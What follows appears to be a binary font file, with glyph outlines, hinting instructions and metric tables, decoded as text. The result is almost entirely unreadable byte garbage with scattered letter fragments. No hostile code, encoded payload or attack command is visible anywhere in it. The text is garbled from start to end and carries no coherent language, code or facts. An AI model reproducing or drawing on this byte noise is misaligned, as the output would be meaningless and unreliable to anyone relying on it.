�4�[x"��f3}�}
X��D7!77!3273#467#53>7!>767#53>7!3#/,Z,[1Y���A�r�	�/YXZ2&G%o��o�
k
����]���U�]�|g2[�Bx$>>7%!5.'%7#53>7!6$7>7!�
7hgi9"!""52���������3]2--0��0s�!+���
��v�0/0

*IFI+��
�M�j�j��%m�m-�]
 �#G#/�7��^�O%#!7!3#!!!>7>7!6?>7>7!>767#53>7%3:���0,Z,[2��]�a%I%o���-,0	��=-,./,X,[1#�^�b&I&r��o2k

�����f~

2&c			$v$��

�V�[�|Y�C�+%'!45!!>7>7!3#נ/XYZ1%J$m�m��]�F��0YWZ2	 �q���������ВO�~je�fq"�gt����)+"54?7>767676#"!!632*/���
�B?!?�>=96B���SA�v��17� ��	:	
���4,b�$}
V�D�4.547>7!#53>7!6?>767465#535!�^\
/+X+Y1��q�	�/,X,Z2-W-����D`�Y).'

�]�����]�\\>���$��W�D�7!7!&=!#53>7!>7>7!>767#53>7%3#�#@+���{)I/���s�$�'E-,'G-&L'w��q�SҦ����	
�]��	*\*�	�e�]�|g����_>7>7>7#>3 3#!67654#"3#"547>767#>73>74&5!!wNc.1h0/7��.X4
,R&=X:M��v�&#A#(���#WU"�,�7ece8�0T6��Xj�2,[D>{�
T�U��mf!1
������#
�C\j�jX
��\�n+{%#"$54$75367673#"&54632+|�i�����d;	y�pNOppONp��DA��""������-B��NppNOpp�<�\�t�{�@#"/&#"56323274632#"&ۿ�e�)�_����_�)�e����X=>XX>=Xr�D9�Ψ9D���>XX>=XX:7!#!7��x���:�#5!!f�8���x�&��7�3!!b��b�x������!53!���c��xb���T�$%#"&546320#.#"0#5&$54$32�pNOppONp�y	wnwz�������i�OppONpp��͂�����+�������"�����L�i��X��-Dj��``�X��J�'+��
L�',��n'%!#3 )53!3264&+53#5!#3~�����j���n�N��N�ؗ�����+y����ĕy5��}`�`�y5yy��yy��	��(%#! ! 3#5!#3!52#"��������S�yx׽��������������y"�ͷ��jk�η�� yy�yyEHIE��������Z���D")53# ! 3#5!#3$&"32�o������>0
Ɨ�����\�Z[pqyV��+)���hyy�˝�����`
c�"!53!3!53#5!#!33!53!3���_z�?�������3��E�{��}�#;��y"��yy�yy�����yy1��yl�� D	75#"3263!5#"&547!3!53#5!#!6;54&#"#5>3 &�cjMORdb��F�n���ԗ�o�����}��z�jsq_�q	N�l�dl���y�TP��XB��yy5yy��T?�{Wc�""���V��>����T��)D��;�#533�����м�t��t�;�#533�����������t�;�#533�����h�����t�;�#533�����4����t�;�!#533#��������t�;�#53#3;���F��м�t��;�#53#3;���F��������;�#53#3;���F��h�����;�#53#3;���F��4����;�!#53#3;���F������;�!#!!��v�F���;�!#3!!�����F��̼�;�!#3!!�����F�����;�!#3!!�����F��d��;�%!!3������������	#5%3'ϋ����I��I����	37#%5D�������iI��I����	462"&3#5�FbGGbF�KW�+??+->>�)kk����
#"&5462#53�G12EFbG�JW�+>>+,??���jj����Sw�d`�V3�$353#5!#!#5!#!"&'533265!3`���R���S�W�MLaN���y�yy�
�yy����""�^X�����y?�9
&353#5!>32#"&'532654&#"3F��@�}����<�Iq;BI:EUkd�y#x�}_T��ߣ��PG^{+�i���#y�`��,!53!#!#5!!!"&'332654&+5!3s�g�ȇ�d����p�����v��y������B	��y��u����w�Ty���((H�������f��y1�`�q2#53!!!"&'#"&5!3267332654&+5˚�bQ���p�����v�� ۜ�N,:@>�
N"6������B�yJ��w�Ty���((5����u�DVZ�@�������H��@�-4$!2#.#"6533"'32673# $54%&�K:v��y����?�yt[|֡�����y���v�����@��((������|Oia�vxj�������((��̍t]����( $5467.54$32#.#";#"32673��٪���vƄyXvmp{|4B����k��&��Ţ�'�u��##��{��lv�x�캀x��T����7533267!5!3#!"&	!΂MLaK��I����S�x�i�'�^X��s��Z���"�hT�9�'35!3##"&'53326=TIb����<�Iq;BI:�is��Z�}���PG^{}���hT�*��(+!"'&547632'6%533267!5!!!!"&	!>),,&AD1-*dc@��MLaK��I���d��S�x�i� G61+8B8Y(Bx0.��^X��s��Z���"�hT�t'*-"'&547632'65!!!#"&'5326=�2 ##46($"PO3��Ibu����<�Iq;BI:�i��8+("-5,G!5_&%�s��Z�}���PG^{}���h;�'#5!!53#5!3!53#5�y�yy��P��'�ߦ�Ά�{��z{y5yX��-D-332654&/.5463253#.#"!"&'#`q��lsHj����T�Aqq	��lo@S�Ѡ����c�?qHw}KF@E%*����&��mnEB6>%5����#��
�!!533	33!53!3!53!3!���_z2����3��E�{��5I��E�{��}�/��#;��y\����yy1��yy1��y#;T���D	H5#"326%5#"3266;54&#"46;54&#"#5>326763 3!5#"&'#"&�cjMORd��cjMORd�]PES�z�y�
���z�jsq_�q�}INfq	��F�n5�=9�|��N�l�dlY�l�dl�f�
?�{�`��?�{Wc�""5
���y�TPE%>����	��%!533676 ! '&'!3%2#"���_z2�p#,����S�����m5��}�������#;��y\��3*�d�����d�h���y\BKLB��������T���D"+546;54&#"#5>3 63 !"&'#"&26&"#"3265T���z�jsq_�q���>�����NY�|��
p[Z�\\��cjMORd5��?�{Wc�""ff�������MONN�<������l�dlY����	+�%!#!3!53#5!#326#5!#! '&��KX�鏤�TrP�꿮�έ��������i!;�L��yy�yy������yy����ݓhT���D-746;54&#"#5>3 3265#5!3!5#"'#"&#"3265T���z�jsq_�q	BXkc��?�}�\>�|����cjMORd5��?�{Wc�""����k���y�Ry�_Tk*A��l�dlY��=�!533	#5!#!!3���_z2�����}��ƫ��}�#;��y\�O8yy�����yT���D	,5#"326#5!#!5#"&546;54&#"#5>3 �cjMORdbH��{���FF�n�����z�jsq_�q	N�l�dl���5yy�R�TP����?�{Wc�""���=�!3!533!#5!#!!!#w�1���Dz2�S4!��}����0����i�ε�#�Vyy\���yy�@y��#�x�>T���D	145#"326!5#"&546;54&#"#5>3 3#5!#3!#�cjMORd��FF�n�����z�jsq_�q���n��{n�^�N�l�dl.�݇TP����?�{Wc�""jg�yy��w�V��V�!#533	#5!##"'5332?!3!z2������s�Ԇ��Mj�3 ��}���y\���yy��<�D�^Xb>;��y#;T�9�D	?5#"326#5!##"&'5326?"'#&'&546;54&#"#5>3 �cjMORdb2=����)0�s1xGqCCAP(9�\>�|�lj���z�jsq_�q	N�l�dl���Q
yy�bub�MJGc�k*AVV���?�{Wc�""���V����j��T���D���J3����?��`&�!53#5!#%!53��M���L�y���yy�ׄ���Fs
%3!53#5!%ۘ�o��d���yyym�6x�������& '&#5376 3#%276!!'&#
��ֿ�����ּ������]R
�
R^��P]��^Pθ4�.��ε�ѡ�̸�y�������������2D' '&'#53676! 3#%2767!!&'&#�蠐������������p.)�h*.[�'-qq.'���w؀����wሕq`V��Wa�R``RV��>�&  6  '2#"!2#"��T�������S����������\������������d�����d�UBKLB��������BKLB��������T��)D% !263 !"''26&"!26&"���?����>������p[Z�\\�p[Z�\\+)tt�������uuq���������`�V@� 3!53#5!#:�`�Ͽ�@	��{�2��^yy�y�6p�/�Vu' 3!53#5!4#x�����b����'��\��yy�y��N��m�Vs�#&#"!!!#5!6$32s����\�}�Q	x���}���y�y�wp;�VLD#.#"!!!#5!>32LqPLt��)���4�|Y3��US̵�\y�VXy�ok	-@�
#3!53!#@��������y�yy��u3��'
3!#=!#,�������y�wxm�V��#5!>323#"&'.#"�P͡��O_�ɝbz���Vy�aU����ycf�N�����
F�V�D#5!>323#"&54&#"ݗ�@�}��V[���EUkd�VXy�_T����yco�]�i���m�Vs�#&#"!#5!6$32s��}�Q	x���}����y�wp;�VLD#.#"!#5!>32LqPLt����4�|Y3��US̵�9Xy�ok	$��
�5!!32673! 767$��M3j�ܕ�+�;������I�L��(N��f�������eg�"���'!!32673# 7#"u��&>z�k��&���Ș�'y'd��πx��&��}�!#5ww����������s��1��0#����+��?���Z��'�353#5!#5!#3#4+3Z�����
��y$d�m�y�y���yy��F?7�ByF���D!353#5!>323#'&#!534&#"3F���@�}���we�t�EUkd�y5y�_T���l��y5�i���#y�
3�!"#6)#!#5!#3!53!3!53�EFƛzA�R����������\Y[�f�y�
�yy�yyd��yy<���#'53#535#5!#!5#5!#3#3!53!3!5!<yyyy�ywy�yyyy�y��yyw���CKeBBeeBBeK�CCP��C�e5��126&"%4&#"'>32!32673#"&'#"&54632h�99�:�2:91}/uJ���4MWHZi��S}-,�U��ɱP~�jhj���t\Zl
�,*��rdC@`a*,*,����+FH'353#5!!#5!#!!#3F���V`W���y5y�a&yy���y��yN�)53!#3!!#!#3N�����{���3��yl����`y�3��)53!"$54$3!#3#"3������&�R����p����y�����y�jy����`��#3!	!53#5!#3#5������V�T������;�y�y��By�yy����sy``m353#5!#3`����y{yy��y��
a�)	!	3!53!	!	#5!#�����������ݲ�2��GBH#�Ι?���Zyy\�����yyg��=�5#".54>732>54.'.=!=W�葏�T?iN�ym'S�[Qk@1Pd43_J-NC%=O*I��T5{ܦbG�ՏB�{p/�>�KY�i9Q��TW���CA���C[e'1&JJK%A���r��H�D4.#"32>%#".54>7>54.'.5!�;eNSh98iWRe8ea�₀�a,Ks�j'&L>'@9/a��SEg��LL��e[��OQ��J��YY��?��{cE
/G"-	)@`H&
/<L2(b@X��g����O4.#"32>%#".54>7>54&#".54>32`1VrAR�Z04^�QGqO*X5]~��MZ���b7K��pUvJ!TK*F3	�4p�za�zD��A�|mQ.+r�o65o�vo�k4*e��e��iG$$Fg��\���e1'NNL$WT, 4?#A=pU21VtC]�A0CYp�r����`4.#"2>.#"'>7.54>32>32#".5467.#".0Q<AZ97WzS3�Uv�I0dc_+�9�zl��cA:[�h@]I9M�dx͕TW��uzԟ[>/-fG?R/-g�|<���j?Z��~==�ˍ��d'3q���%E6 .I5�:G&p����LP���a7.;@S�����[h��x��S)F�ƀ�ޱ�&(7PpNg��&�?#".54>732>54.#".54>32&V�ވ��^+GZ_[$!$�z=^@",I\0+VE,/= n<qY5Q��n}՛X�w�r8H��i8]L:)f(<S8��=aE>S14M3(:+
�=XuMn�^*6k�fg��=�W#".4>732>54.+532>54.#".54>32=^��}G��~]7An�N3#,Me9:[?!'DZ42;#E8"8S73fQ2!j7T9U��nA�}nR/@f}=O�rD�z‰I3Lbx�}fId9HV3Sl@ W�xe�W'�K�b<aE%,VI!##�0BW;e�e3+AZsGa�`>Eo�.����)b4&#"32>4.#"32>%#".54>7#".54>323>7:.#"uME4(&4%8$�#Ca>:aF'$9N59U=&e-Qr��U��a#:M)V�d7Iz�Vm�e/q.�`	)O))G�f>�dW(J<>M+,M���w89{ŋ=yo^F(*Ict�Mk��yS+b��J�{j)6^JYQ&Cct0;S ���
TP%k��r����M4.#"32>%4>32>32+532>54.#"#".�4eUPZ,/YJQd6��?�ࢅ�G$STN_��fE$b��xqi/`M0 /;E'&4>1,>�穜ߎCr��jj����sl���N�wIH%7$I�����h�Q�#Ҟ�i<
!=3o�ܹ������Sr��H�;#5>5<.#"#.54>32H(HpR�9@&:P6<T9!&:)�UuL)9\��wx��_;�@�����a�(���{%p���}^7:h���i@���z_�`�ƹ�s]Ż�}JJ���r��H�O#".54>732>54.+52>54.#"32##32H/St��Rtݮj#;MTV&.	?fKOd9"7E#�*`]UA&$UWQ�s�c,Co�K	m��Km��[8;|��(J@6+	L/7F3R~U,0q��p�I�,?MX0(9#->&Q"IsPOrWC R��r��
��#'2>54.#"!5>=4&#"!5>=4&#"#.#"'>7.54>32>32>32
7^{��><^@!!8H(*F4��\a^i!�~mi%;- 
L����k_���i@�&���xO���:�$TZ]-^���d8/Qm|�A(]\SR[Z&%YZTN[b/`Ýc�r��`<�D~�od�p=9_E�2P/AA/P2�v��v�2N/AA+),�vz+Ibov8�ڗ_:&;Z�X,UB(;_D�$[y���\�˖e=.>$'B10B%$>,Q��r��I�H4.#"326%#".54>324654&#".54>3 �0Qh9;_E%*Lj@�{L/Rp��E��c4Yx��G KNK ��5aK- �&.Ohsx7>7��m(8q�p}�r6ӝc�uR3\��a��iH%
S�TNU9-;�!0++:aN<'�����kW4.#"32>%#".54>3232>7#"&'.#">32.Ka35dM/*If<$C<2$f,Pq��YT��pO,3f�cE�tX=CH'DCTf:@�>4-&
!
%QNFJ��{\5m��Z2l�x��i&(Gp�l�ȓd<:a�ǂ�n�d/$$1N-T@&(		1Q<9G>F9, ?`��s����\.#5>54.#"!5>54.#"#.56>32>32�#?Vgt=1IA@'�2YUV0"NMG6 2Q;0L5"�}&BX18E&
!6DD?�8ytiO.B�ʊ8l`SOX^-�ԗS��ޫ�fT(8,�Kf?�0W��햔��h*NmB�0/O,AA,P.�BmN*Q����wĜvS1�Qq��鍽F� 9N.-N9!g��r��H�P#".54>732>54.+532>54.'.=3Ha�₀�aBs�X	'Ea;Hc>.J].��+TB(2Pe3J�uI�*G]3?�~pT1Bh<W�n>�ՎGE��Hu^J�"0960h�T#,_�ju�s8�1J20;#4YI.0	(@\ALkI,Py�r��H�S#".54>732>5#".'#32>54.#32>53H[��{�g@k�M-
?hL6bK,4>D"!B<3%J;%AjNE�-YM9
 )3J1�:~�;N��Z�Z���CCu�\SmF+I&/>+YxJBmQc;J\76dS;
�8U9!4>$RG.- ,r����l#52>54.#"!5>=4.#"3#.54>3232>7#"&'.#">32>32�<r�i�Ca>,P@!RJ2
��
=U\:T72Rl;�r�y?#Jt�ӄL�9GmY!�>wy|A<zB*I Iw^F<�V8pgZ!!Xdl4rʙYpj̱�)�K��r^�{H=iQzRXQBBQXRzRj<H~�b��s.�%���ry���Q$-g>X81Sl<"5I--I5?������P#".54.#"#54>3232>54.'3.54>3"�2Wv��JL��wY2
	�CiJO}W.%GjEFe?,86)+Y�^8.%15q]<3o��_= <Xn�K%)/
0%��.Q=#.Z�Y��y�b*$f��RoK2.5B,3gS5�
)%!"Nh�r��Y�q4&#">%32>54.'.54>7.54>32#"$&54>7#"&'3267�9-""%�
6l�mh�U$*W�Z>>QUd�a/4L2 @5!/TrCHzX2,F0�؋A,V{��o���]=bE/U&X�/$�>4
-"!+	
 )~Wkyxo,���NL��F��q!*s;:`�
;Vj8,[VN'7E*F^99_H'8,%&y��{^���c8z��r���J+jn	:����l#".54>732>54&#"!5>5'.#"#".57!32>7>32>32�J��M��sT/@x�m),GY-A[=$#/=E�
8-)'3F49aG'0	
5LY*91+/;I,U�p@tҡ_ ?[t�QR�wPq
=YrA_�U'1AGH!ZIAI7GNF@@FNG2BL DW1!>X7��OZ,
$-."+c�xr����n4.#"32>32>54.#52>54.#"#".54>32>32#".5�6Q6>S32S><R3F~fx�F
,YOQ]0/J40-0
-Miy�@F�nQ.R��~*ije&"OPI�АL8a�JI�b9o���^�w�o54l�sx�v;9s��WVe5DhJaK�1m�{\zH*"Qai/Y��mM)*Nn��Yvݪg1#!1?|�xc�zW<c�]_�tA3g�ir��G�G#".54>732>5.#".54>325.#'!GP�ֆL���`8&C[ju;4&6Ui3F_:3ZWT-;/$�2B'Gv�Rq�P;�23b��ЈC&=YxMImO5#m(>[?D\9@i�FQ@U2
' 0&�LSW,IiD =H��r��t�a'>54.#"!5>=4.#"#.#"'>7.54>32>32t-l��/'9'
3P86Q7��6U;7H+,Nj|�E_��s�F��y7O�_�3BV9U��sQ-V��v7eXIVdn8r��J�]���O�(B=?IX9l�x?,Ok?�-R*BA*S-�?kO,/s��r��`I9%Po�q;`C%{��:3'	 _w���Q���@6I)(H7 >�r��E�=#".54>?32>5#".54>7332>5!E`��{ۥa(CZ2�-'t�BlL*?�JlȚ\$U�h�9Z>!,F3!HD>.S�юH=p�_*UL:<{K��7V=�4?6i�bR�|j/0Yi�X0jZ:-<DI"�.��U�V4.#"32>%#".54>324.#"#54.#"4>32>320Ne5AdD";^C<mR1Oa�䄇�Ze��u$QRO"(30$�.<!-&��;_w<.UL@>HR+U�o@T`�uB-g�y��t5&i�C�ΏLU�ݙP#/�"2,O@SSDO)3-I/`�i8)56)9a�F���k�E>54.#">32+532>54.#"!4>32B0IX(8+<�\F��uW26Zt{x2^bA?.'E^75gR2��I��o1nkbK,+?(a6' 1 9T6��488Z��lk��pL&�0xəx�d+4Si5���n+$4E,'=3+s����b#"$.5<>454>72326732>54.'>54.'.53�7`���N����i=[>4;E(8<%>�&)6]~�qN((AT-��-C+'0 =0�2>!1bL0I|^D�pG>o��b?c���	,;@;,	W���D%3#	,� i�˂�v��w82j�tN�_8TT/Ld;$:0)4<E*);,"3>N25_RFAc�r��H�64.#"32>%#".54>324.#52�$C_;3`J-#EeB>^@ e`��~_��nM(2Xw��JW�:"GlJ��Y	��z4#e��m�w?8i�<qŽQ4Yz��Jf��fD">3X<M,�5g�a�����BV4>32>32%>54&#"#54.#">32#".5%32>54.#"�@o�U+RH>@LU.<w_;��&,!</�$02("ORQ$uڨeZ�ᇄ�aO1Rm<C^;#CdA5eN0�F�a9(65)7g�`/J-2)ODSSDP)2"�U/#P�݌��UL�΃R��i&5t��y�g-Bu�r��I<�.#"32>7%#".54>732>54.'.'#".54>32>54&'#"&'532>73%�@E>"CG@/��
/?H!,XG,<d���:>��~_9O{�I1"-(CY1:eL,2=6*=}?FjH$$IpL?�K.h6U�.N�;5-#	�+.%+1Q0�U��#$���/M@4CP_9W�jJ/,C^xJP�hLl4E]AIe?>\?HnWF :>A&26*EW,4\D'C6=p31%%ZX�CD(42>2!FA7ϾKVt����F32>54.#"#".54&#"#54>32>7>7M@iMJf>=cG5dP0d��}��P� ElLCoN+#U.�D_C+=xjO.�FtT/P��Y��h)%Ca<���LR��{5#�iTo@?p�\�*
���"2:<[��i����#".'#".52>54.#"'>7.#".5>32>54.#".54>3232>54&';d�Ll�{\'6nha([�^/&Bg�cBrT1�,5"/
8-"}2���o
+7@FH#'[Y�*L:"/WzMY���'(]ZT@&"'!0�=<>]i,CuW2M�ޒ!"&.7"3$OU=VxL"h?iK*z�0�
!,4Ep�U&VTL:#1Tp?	3&-HY,5eN/+]Y>C�~nQ/)>J�'[^\(=iN-^��$/?Q5?2 	>�R�>DW1'SXP�sc->���zJ 4%]S/Yf~r��Gd#".54>72>54.#232>54.+2>54.'.532G`��}��a8[w?F
)Jg|\<#,.+��	;3#%7@{B<*)R{Qk�g3�QV� �F2Qd14iR4+Lg;;nT3�v5-m��<`J3S*=._~L "KyWIhG*V=6-2:SQ!:/&);gQ-B9]D$;0'
!/A-/A. D[s���)�
w4&#">#".54>3232>54.'>54.'>54.'7�-9#+@R/]0A%&A01A%%B0k���V���k=<t�q��.j�� 8JTZ+I}[393/1+
�5::3
/1,
�:;6XAHBr_E'�KG0Z�TP.@Z�*K?4-6?%"7.&5FZ:WS)9]��y��$�Q��QtZJ'�Ji�kC%
%9D.K6 
#$!w{!-5+	!#Ud"6C!g�hR,==Sensr��H�E4.#"32>%3.'#52>7.54>32�;gQ3M:'
8PX!,^N3d-ATe;+UQM$v�g66cz�u#NTV,]�c3,Qq��UW��pP,���@Ak�Պ���V\���?���~m(	�1E--E/�	@���\���O"#P����r��HV2>7#".54>?32>73#".546732>54.+5�a�h<
/y{o%c�wB%81:4Ho`)�5HU_0m�Y&g��{O��sS/µ0?`ADdB 0Qm<�8S��H;/:eM%4)!h3$%*Ki?�աsP3(gz�L�څ:1Mk�U��2|
CRX"CtV22`�XU�zI�r��H�i#".54>732>54.'>54.#"#".54>3!!"32>7>72H_��v��b!Q�f;.Pj;3U=#2ZF:;4�?Y7#1/yAB�@7\C&>l�R��\"9*& >GN)/__^-<dH)��NnE �n�o87k�f8aWP&w%-2+Mc8"FiGl�W(
.E%@Y50@&3XB[xE�&=->/DqUx�<Bd�r����M32>54&#"'#!".54$%5&$.54>323>7'#3>7�t�g0!?\;$B2[]5ZB%0g�t7�=���ޟV�����_]�܀�ˁ<8
-0*�37.0*
] <]@AY9"3#�>@4XBJb<��5��1a�]���3g�m]�`1(X�c����=�r����V4.#"32>".54>325!>32#"&'#732>54.#"3@(NC!OC-*BS*,F0����gJ��~7CI#===�у<L��:u:=�ɋ�#=Q-*C/-Mg9�֔MDpR��:S56x���N�����Z'h_"k����N|`�N �0B'
QpG <�ߢ��y6��D�$W654'>7#67776?67#535!>7#>323!+"5467>7>7%�#?>@$+++?|?C��qd39<x*R*��D�E/�}�5`^`5��X�X
�

pY�&,#Ce���e		N�(��(#W	����[?���2�Ô
�?��'=���<bw@T��"*'"3  767&'&54763276726&"=�}%
LY>������<N�:�b���LC-K>��\�[Z�\2>;����+
�8#_+3�G.������t���O���9��9�KTX�@��88Y1�
�<�99�0�KT�	KT[X���@878Y4632327&54632#"&tW<<W'3XW7&W<<W�����<VV::+*::VV<�����f�&462 &54622�>OlLj[���OlL=8��)|MM6�bR��6MM}((?�5l@3+5
A6�<���<��@%3$1+-,/45$�<��<���1@/	�$�(�# �04�,
�3/<�22�2�<�2�<�2�220!3!53#5354632#.#"!54632#.#"!!3!53��B�:�����T�NpJFPH���T�NpJFPH���:����yy5y����NLs������NLs��y��yy?�"l@4"���
��
JH35	F5A#�<��2��������1/<�2�2���2�9990@$$/$�$�$]#.#"!3!53!3!53#5354$!2�pxi��˘�����������a�v�VZ��V�Ryy5��yy5yL��?�a@/���	��J
H5
F5A�<��2������9991/<�2�2���2990@	/�]4$)3!53#"3#3!53#53�$2Ә���X�������s��eyy+��Vy��yy5y@�;|@3+5
A<�<���<��@
%3$7+,5:5$�<��<��05-2535���1@5	�$�(�# �6:.2�,
�19/<<�22�2�<�2�<�2�220!3!53#5354632#.#"!54$!2#.#"!3!53!3!53��C�:�����U�NpKEPH�a�vpxi��˘������������yy5y����NLs��L���VZ��V�Ryy5��yy?�6u@/3.+6!5.%&"A7�<���<��@
+5�<�<�Ķ5
5���1@ 
�� #�6.�2�+*�
!�%6�	 /<<�22�2����22��054$)3!53#"3#3!53!3!53#5354632#.#"�$2Ә���X������D�:�����U�NpKEPH'L��eyy+��Vy��yy5��yy5y����NLs��A���23!53#535476!!32673#"&5#535&'&#"B�:���p~�Lp�&��,:@>���ڜ��	"%Xo1P'�Ryy5y��[g
3�my�u�DVZ�����y�Q"&:\^X����V7332654'&/&'&54632&74$32!!32673#"&5#5354&#"#.#"!"&`q��ls%#j��IJ�.1���FGC(��,:@>�
��ܜ��PQ:g.q	��lo@S�Ѡ����c�)w}KF@#"%*LL���`��))+`p�y�u�DVZ�����y�]ewX-��mnEB6>%5����2�"��&	32654&#"3>32356$54$#"tB�����pNOppONp�y	wnwz������i������B�>OppONpp��͂�����+�������"����L�$��`R�%��V����&��`��'��`��(��`��)��V��3�*��`3�+��``�,���j�V{�-��`3�.��`s�/��V{�0��Z��1��V����2��`��3��V����4��`��5�����L�6����7��F����8����R�9����	�:��
3�;������<��L��=��T��DD��/��FE��T���DF��T��hG��T���DH��?�I��T�9hDJ��?�K��F�L���h�9=M��F�N��F�O��FHDP��F�DQ��T��DR��/�VFDS��T�VhDT��;LDU��X��-DV��1���qW��/���'X�����'Y����'Z���'[����9�'\��HF']����L���`R���`��
��<����`����L����`3���V������``���`3�����L���V{���Z����q#���V������`2���`����V����_��S�������������V����
3� ��A�!��\��"��)�����T���A*����V�'+��2�T�',��T��-��c��oD.��F�UW/��F�V
D0��T��,1��F!�'2��F�'3��IG�4��9�V�'5��F<'6��F�UW7��T��D8��F�'9����VD:��T�U`D;��T��|'<��F!�'=��F��<'>��`�V�'?���9D@��V�V.'A��Q��I'B��L���F���T���D`��F��x,J��d���*[��T�V0N����RD\��F��b'O��`��U���B�P��V��`��1�������������������T=�������������#��������j��#���o����Z�f!#����f�����s|@	__���1�<�20K�
TK�T[X�@��878YK�TK�T[K�T[X���@878YK�TK�T[K�T[X���@878Y4632#"&%4632#"&��X<;VU<<X�W<<XX<<W{<WW<<VV<<WW<<VV�Z�'�8���1��0@
//]K�TX���@878Y!#��פ������f� �@"	!	!����99991����99990@\		

			
]]K�TK�T[K�T[K�T[X�!��!!@878YK�TK�T[X�!��!!@878Y54632326=3#"&/.#"��ld=P	H$)1nke"C593)1�{�'!
	2,z�
3+����8���1��0@
//]K�TX���@878Y#���������y�J@	��91��290@///	]K�TX���@878Y�]!#'#�f4ߤ�դ��������y�P@	��91�<�90@////]K�TX���@878Y�
]373�fߤ�դ���������T�#."#>32�{o�q{�����7:;6������T�
@@
����1�<��0K�TK�
T[K�	T[K�T[X���@878Y332673#"&��{oTTq{�����7:;6����m�w�	_��1��0K�
TK�T[X�@��878YK�TK�T[K�T[X���@878YK�TK�T[K�T[K�T[X�@��878Y4632#"&�mW<<WW<<W{<WW<<VV��!�!#!#��פ��פ���������#!#������c�����������F�o�'&��F�'%3!53#53#5!3#?��o�������yyyfyVy�1y��;4632#"&�pQOooOQpTQooQOon���8'"# 54732#5!#.%&+"326765WEs~���.+���n0��

�q	&�N2T���y�Si�OK�}R����9�'&��}��F�K�'&���Z�9��"353#5!#5!##"&'533276'3Z�����
�Ub�<�Iq;Bc& �m�y�y���yy����NW�PG5.�7�By��<>"w�wv�u�uv�u��IA/J'
w�Xq�>��IP/q'q�
w�c���A�J'q�>
�X��IA/u'
w�X
x���IA/u'
w�X
z����\u'
x�q���[\�u'
z�q���X?$J'q�>
y�S��CA5u'
w�X
|���I?/q'
w�c
y�S��Cb5�'
|�t
�w��X?�u'
y�S
xh��CcIo'
x"y
{�u��Cc�o'
zQy
{�u��Cc5�'
y��
{�u��X>$�'
y��
~�P��h>u'
x�
~�P��h>u'
z�
~�P��h>	)'
~�P��<��Ccn�'
{�u�n���d^�q�&
xJp���Za�9hD#.:$!2!#!"'3 # &547&547&'4&#"2632654!"{�m��U���ZK"���6�w��[�5)DL\]KK�K�Fa�ơ���|�y]���)"H�~�[�NnTNyfS�ww��uu��"#7�N;RZ����%533265##5!#!7+!"&�MLaN��������S�'�^X��!�!\yy���y�Z��"���
)3!	!#!���{������{/�h��`��L�T��D%26&" ! ;#"&�p[Z�\\q��?>�b�%xy3��T�����q+)������\#'��')!	���
���'�R��`T��D#3353#526&" ! ukklkk5p[Z�\\����?>�j>jj��j�p�����q+)�����i+'53!3!#!##3353#5�y�>y�Dy�y�Mkk�kk0j�f�j�j��f�j>jj��jSC'
	!53!	!#5!Y���j��7�j����j�4'�ji�'#!#2#3!535"$$35#"26&����(��Ǘ�o���&Ǘ�GDD�GDD'yZ��իZyyZ�+�Z�x�X��X�%X+XSD"%!53!5>54&"!53!.5432�y�a}�}_�y��j��kѡQ��̝��ϻ����Q@��
�����&@r	{
����991/��0#"&54632!53pNOnoNNp��u�1NnnNOpq��J��\��+�"7@!r	�p	{#!#��������1���������0#"&54632#"$54$75332673ZpNOnoNNp�|�i�������zxmw
x1NnnNOpq��""������+��������\��+�Ru1��$''4&+5!"3!53463!!"&'53326��{.���\��o���6������=�=x7XDL�\wG���yy���y���S���DhhF����N@$	
vsp((((#.�������1��<�2�99990@	?���]#5!#326#5!#! ��{��έ{ſ�������\yy������yy�����&UX$�#353#53#5!$3#!'376!%&'&+m����Զ�	��o���lf��IZl�yP�
y�������y��.��}�������h&/%3!5#"'&'#5367632#5!3#!327675&'&#"ї�-�p�raar��p�-�����'-mi0//0in,&yy�SQ���y܃�QS�x�<y�LXSQ�y�QSXL�����*.#"!!3267#5!# '&'#53&5!2
-ҿ����Kh�T�;�������ܣ*�����6�Ʊ�����r�&&�x��NLϚ�i�@A�����9hD(1:53676325!#3#!"&'53326=#"'&'!327675&'&#"ar��p�-��������j�sq����-�p�r�'-mi0//0in,&�y܃�QS�y��y�7�!!�if��ySQ��ڴLXSQ�y�QSXL�^����5_<���+���+��P���	)��3�P�p�
��f���+������19Rs����h/-���Ro����`�������T�������j�o���5���������5���`^V�``�`�V�`�`�j�`�`�VPZ�V`�V�`����F5�����5
����L�������/T�/�T�TTq?�T�?
F�h�F
FwF�FVT�/�T7;�X�1�/����������H%��%���������L�'�/?��=���Ro�����V�ZZ�9�����=�X�X�XZ�\5��5��5��5��5��5��F��^V````�`�`�`�`�XPZ�V�V�V�V�V��D�F�F�F�F���`F/T/T/T/T/T/T�T�TTTTT

F

VT�FVTVTVTVTVT��V3�/�/�/�/����/���5��/T5��/T5��/T^V�T^V�T^V�T^V�T�`�T�X�T`T`T`T`T`T�V�T�V�T�V�T�V�T�`���`�?�`
�`
�`
/�`
F�`
F�`F�j�h�`�F�F�`
F�`
F�`
F�`
F�PZ�FPZ�FPZ�F^�F�F�VVT�VVT�VVT	qV9T�`7;�`7;�`7;���X���X���X���X��1��1��1�F�/�F�/�F�/�F�/�F�/�F�/���������������L�H�L�H�L�Hq?�)�
�`�/��^V^V�T�X�
�`�/VT`�V�`��Pq�=�V*#X?�`�J�`�F
F�IwFP�J�F�V�UVU	�U�U�
�/�\���X�S��|�1�$�1��L�3\��������L�HAGA{A{Ah��`�EJ.�/\����\��`{`
#T	i`�`�FZ
5Z�F5��/T�`

�VVT�F�/�F�/�F�/�F�/�F�/T5��/T5��/TF���T*V����V�T�`����VVT�VVTAG�G
�h�`{`
#T�V�T	�`L`PZ�F5��/TF���T�DV35��/T5��/T`T`T�
���`
'�VVT�VVT�`7;�`7;�F�/�F�/���X��1���e�`���FST�R�f�L�H5��/T`T�VVT�VVT�VVT�VVT�������FaF�1�h@T@R5��^�����J���X�HH`a`�K�;5��`T�j�h�V�T�J7;������/T�T�T�/�T�L�T�TTTBn�c~TBT�T�h�T�TT�T�/�F�F
F
J
FEBB
